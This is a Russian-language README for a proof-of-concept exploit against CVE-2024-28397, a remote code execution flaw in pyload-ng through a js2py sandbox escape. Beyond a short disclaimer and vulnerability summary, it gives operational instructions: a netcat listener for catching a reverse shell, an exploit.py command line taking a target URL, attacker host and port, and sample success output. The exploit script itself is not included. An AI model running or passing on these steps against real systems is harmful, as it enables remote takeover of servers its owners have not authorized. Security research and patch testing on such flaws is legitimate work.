Удалённое выполнение кода – CVE-2024-28397 (pyload-ng / js2py)

Этот репозиторий содержит Proof-of-Concept (PoC) эксплойт для CVE-2024-28397 — уязвимости удалённого выполнения кода, затрагивающей pyload-ng из-за небезопасного использования js2py.

Дисклеймер:
Данный PoC предназначен только для образовательных и исследовательских целей.
Не используйте его на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Автор не несёт ответственности за любое неправомерное использование этого кода.

---

Сведения об уязвимости

• CVE ID: CVE-2024-28397
• Компонент: js2py в pyload-ng
• Воздействие: удалённое выполнение кода (RCE)
• Вектор атаки: вредоносная JS-нагрузка обходит песочницу js2py и выполняет произвольные системные команды.

---

Требования и подготовка

Вам понадобятся Python 3.x, библиотека requests и netcat для приёма обратной оболочки (reverse shell).

• Цель → уязвимый экземпляр pyload-ng с доступной конечной точкой /run_code

Слушатель → запустите перед выполнением эксплойта:

nc -lvnp 4444

Использование:

python3 exploit.py -url http://target.com -lhost YOUR_IP -lport 4444 -user attacker -passwd attacker123

Пример вывода:

• [+] Регистрация прошла успешно!
• [+] Вход выполнен успешно
• [+] Эксплойт сработал